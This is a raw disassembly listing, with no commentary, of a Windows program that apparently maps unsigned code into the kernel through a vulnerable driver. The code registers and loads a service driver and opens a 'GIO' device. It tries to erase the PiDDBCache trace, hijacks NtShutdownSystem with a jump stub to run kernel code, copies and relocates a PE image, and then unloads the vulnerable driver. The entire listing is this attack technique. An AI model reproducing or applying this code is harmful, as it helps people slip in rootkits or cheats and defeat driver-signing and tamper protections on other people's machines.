lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x70]
call fcn.140032810
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rdx, qword [rbp + 0x70]
lea r8, [rbp + 0x58]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140030bff
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140030bf8
inc rdx
mov rcx, qword [rbp + 0x70]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140030bf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030d20
call fcn.1400727b4
xor bl, bl
jmp 0x140030d2c
mov byte [rbp + 0x63], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x63]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140030bba
mov byte [rbp + 0x62], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x62]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140030bba
mov byte [rbp + 0x61], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x61]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140030bba
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, qword [rbp - 0x48]
mov eax, dword [rbp - 0x38]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140030bba
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140030d2c
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030d27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030d27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov byte [rbp + 0x70], 0
mov qword [rbp + 0x88], 0xf
mov qword [rbp + 0x80], rsi
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140030d80
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030d7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030d7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140030dd0
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030dcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030dcb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 8
jb 0x140030e2c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030e27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030e27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
movdqa xmm0, xmmword [0x1400880f0]
movdqu xmmword [rbp + 0xd0], xmm0
mov word [rbp + 0xc0], si
mov rdx, qword [rbp + 0x10]
cmp rdx, 8
jb 0x140030e83
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030e7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030f6e
call fcn.1400727b4
movdqa xmm0, xmmword [0x1400880f0]
movdqu xmmword [rbp + 8], xmm0
mov word [rbp - 8], si
test bl, bl
je 0x140030f93
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x100]
call fcn.14002ebd0
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x100]
call fcn.140032810
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae rdx, qword [rbp + 0x100]
lea rcx, [rbp + 0x288]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x298]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x298]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140030f7a
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030f75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030f75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x260]
call fcn.1400328d0
mov byte [rbp + 0x280], bl
lea rcx, [rbp + 0x2b0]
call fcn.14002eeb0
nop
lea rcx, [rbp + 0x120]
call fcn.14002ef20
nop
lea rcx, [rbp + 0x240]
call fcn.14002ef20
nop
lea rcx, [rbp + 0x168]
call fcn.1400327b0
nop
test bl, bl
jne 0x14003101b
mov qword [rbp + 0x68], rsi
lea rcx, [rbp + 0x90]
call fcn.1400328b0
nop
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x180]
call fcn.140033180
nop
lea rcx, [rbp + 0x90]
call fcn.14002ef20
jmp 0x140031063
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140092c40], rax
lea r8, [rbp + 0x260]
lea rcx, [rbp + 0x180]
call fcn.1400331b0
nop
lea rcx, [rbp + 0x260]
call fcn.14002ef20
nop
cmp qword [rbp + 0x180], 0
je 0x1400316e5
cmp qword [rbp + 0x198], 0
je 0x1400316e5
lea rcx, [rbp + 0x60]
call fcn.140039260
mov eax, 0x5a4d
cmp word [0x1400760b0], ax
jne 0x1400310b3
movsxd rax, dword [0x1400760ec]
add rax, 8
add rax, r14
jmp 0x1400310b8
mov eax, 4
mov r8d, dword [rax]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x60]
call fcn.14003aac0
test al, al
jne 0x14003111f
lea rcx, str.____failed_to_clear_piddbcache_table_n
call fcn.14002bc50
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x140]
call fcn.1400328d0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140031110
mov rcx, rbx
call fcn.14002ef80
nop
mov rcx, rbx
call fcn.14002ef20
xor bl, bl
jmp 0x1400316e7
mov r13, qword [rsp + 0x48]
mov rbx, r13
mov r15d, dword [rbp + 0xe0]
lea r14, [r15 + r13]
cmp r13, r14
jae 0x140031432
movabs r13, 0x7ffffffffffffffd
mov rdi, qword [0x140092f10]
mov eax, dword [r12]
cmp dword [0x140092be0], eax
jle 0x14003119d
lea rcx, [0x140092be0]
call fcn.140072668
cmp dword [0x140092be0], 0xffffffff
jne 0x14003119d
lea rcx, [0x140075e30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140092ca0], rax
lea rcx, [0x140092be0]
call fcn.140072608
mov eax, dword [r12]
cmp dword [0x140092c94], eax
jle 0x1400311e8
lea rcx, [0x140092c94]
call fcn.140072668
cmp dword [0x140092c94], 0xffffffff
jne 0x1400311e8
mov edx, 2
lea rcx, [0x140092bf0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1400747a0]
call fcn.1400729f4
lea rcx, [0x140092c94]
call fcn.140072608
lea rcx, [0x140092bf0]
call fcn.14002c750
mov dword [rbp - 0x68], 0x25ff
mov word [rbp - 0x64], 0
mov qword [rbp - 0x62], rdi
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rbp + 0x1d8]
call fcn.14002f540
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rbp - 0x68]
call fcn.14002f6e0
mov rax, qword [0x140092ca0]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rbp + 0x1d8]
call fcn.14002f6e0
lea rcx, [0x140092bf0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x60]
call fcn.140039a50
test al, al
jne 0x140031291
xor eax, eax
mov qword [rbp + 0xe0], rax
jmp 0x140031298
mov rax, qword [rbp + 0xe0]
test al, al
jns 0x1400312b6
and rax, r13
or rax, 2
mov qword [rbp + 0xe0], rax
lea r8, [rbp + 0xe0]
jmp 0x14003140b
mov rdi, qword [0x140092f08]
mov eax, dword [r12]
cmp dword [0x140092be0], eax
jle 0x14003130e
lea rcx, [0x140092be0]
call fcn.140072668
cmp dword [0x140092be0], 0xffffffff
jne 0x14003130e
lea rcx, [0x140075e30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140092ca0], rax
lea rcx, [0x140092be0]
call fcn.140072608
mov eax, dword [r12]
cmp dword [0x140092c94], eax
jle 0x140031359
lea rcx, [0x140092c94]
call fcn.140072668
cmp dword [0x140092c94], 0xffffffff
jne 0x140031359
mov edx, 2
lea rcx, [0x140092bf0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1400747a0]
call fcn.1400729f4
lea rcx, [0x140092c94]
call fcn.140072608
lea rcx, [0x140092bf0]
call fcn.14002c750
mov dword [rbp - 0x58], 0x25ff
mov word [rbp - 0x54], 0
mov qword [rbp - 0x52], rdi
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rbp + 0x1a8]
call fcn.14002f540
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rbp - 0x58]
call fcn.14002f6e0
mov rax, qword [0x140092ca0]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rbp + 0x1a8]
call fcn.14002f6e0
lea rcx, [0x140092bf0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x60]
call fcn.140039a50
test al, al
jne 0x1400313f8
xor eax, eax
jmp 0x1400313fc
mov rax, qword [rbp + 0x68]
and rax, r13
or rax, 2
mov qword [rbp + 0x68], rax
lea r8, [rbp + 0x68]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp + 0x60]
call fcn.14003a170
add rbx, 0x1000
cmp rbx, r14
jb 0x140031145
mov r13, qword [rsp + 0x48]
mov r9d, 4
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r14, qword [rsp + 0x40]
mov r8d, dword [r14 + 0x54]
mov rdx, qword [0x140092f38]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [r14 + 0x14]
add rbx, 0x28
cmp si, word [r14 + 6]
jae 0x1400314a7
add rbx, r14
nop word [rax + rax]
mov ecx, dword [rbx - 4]
add rcx, rdi
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, qword [0x140092f38]
call sub.VCRUNTIME140.dll_memcpy
inc esi
lea rbx, [rbx + 0x28]
movzx eax, word [r14 + 6]
cmp esi, eax
jl 0x140031480
mov rbx, r13
sub rbx, qword [r14 + 0x30]
mov rdx, rdi
lea rcx, [rbp + 0x38]
call fcn.1400370a0
mov rdx, rbx
mov rcx, rax
call fcn.140036bb0
mov rdx, rdi
lea rcx, [rbp + 0x90]
call fcn.1400371d0
mov rcx, rax
call fcn.140036cb0
test al, al
jne 0x140031530
lea rcx, str.____failed_to_resolve_imports_n
call fcn.14002bc50
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x140]
call fcn.1400328d0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140031521
mov rcx, rbx
call fcn.14002ef80
nop
mov rcx, rbx
call fcn.14002ef20
xor bl, bl
jmp 0x1400316e7
mov r8d, dword [r14 + 0x54]
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov r9, r15
mov r8, rdi
mov rdx, r13
lea rcx, [rbp + 0x60]
call fcn.14003a170
mov ebx, dword [r14 + 0x28]
add rbx, r13
mov edi, dword [r14 + 0x50]
mov eax, dword [r12]
cmp dword [0x140092f24], eax
jle 0x1400315ac
lea rcx, [0x140092f24]
call fcn.140072668
cmp dword [0x140092f24], 0xffffffff
jne 0x1400315ac
lea rcx, [0x140075e30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140092f58], rax
lea rcx, [0x140092f24]
call fcn.140072608
mov eax, dword [r12]
cmp dword [0x140092f20], eax
jle 0x1400315f7
lea rcx, [0x140092f20]
call fcn.140072668
cmp dword [0x140092f20], 0xffffffff
jne 0x1400315f7
mov edx, 2
lea rcx, [0x140092f60]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140074790]
call fcn.1400729f4
lea rcx, [0x140092f20]
call fcn.140072608
lea rcx, [0x140092f60]
call fcn.14002c750
mov dword [rsp + 0x48], 0x25ff
mov word [rsp + 0x4c], 0
mov qword [rsp + 0x4e], rbx
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rbp + 0xf0]
call fcn.14002f540
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rsp + 0x48]
call fcn.14002f6e0
mov rdx, rdi
mov rcx, r13
call qword [0x140092f58]
mov rcx, qword [0x140092c48]
mov r8d, 0xe
lea rdx, [rbp + 0xf0]
call fcn.14002f6e0
lea rcx, [0x140092f60]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x260]
call fcn.1400328d0
mov rsi, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1400316b6
mov rcx, rsi
call fcn.14002ef80
test al, al
je 0x1400316b6
mov dil, 1
jmp 0x1400316b9
xor dil, dil
mov rcx, rsi
call fcn.14002ef20
test dil, dil
jne 0x1400316d6
lea rcx, str.____unable_to_unload_vulnerable_driver_n
call fcn.14002bc50
xor bl, bl
jmp 0x1400316e7
mov rdx, rbx
lea rcx, str._n___mapped___p__n
call fcn.14002bc50
mov bl, 1
lea rcx, [rbp + 0x180]
call fcn.14002f4d0
jmp 0x14003172b
lea rcx, str.____failed_to_sig_scan_pte_functions_n
call fcn.14002bc50
jmp 0x140031729
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rdx, qword [rbp + 0x210]
mov r8d, r12d
lea rcx, str.____failed_to_load___s___0x_x__n
call fcn.14002bc50
xor bl, bl
lea rcx, [rbp + 0x1f0]
call fcn.14002eae0
nop
lea rcx, [rbp + 0x1b8]
call fcn.14002ef20
movzx eax, bl
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.1400724c0
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp - 8]
mov edx, eax
lea rcx, str.absolute
call fcn.14002d100
nop
lea r8, [rsp + 0x78]
mov edx, eax
lea rcx, str.absolute
call fcn.14002d100
int3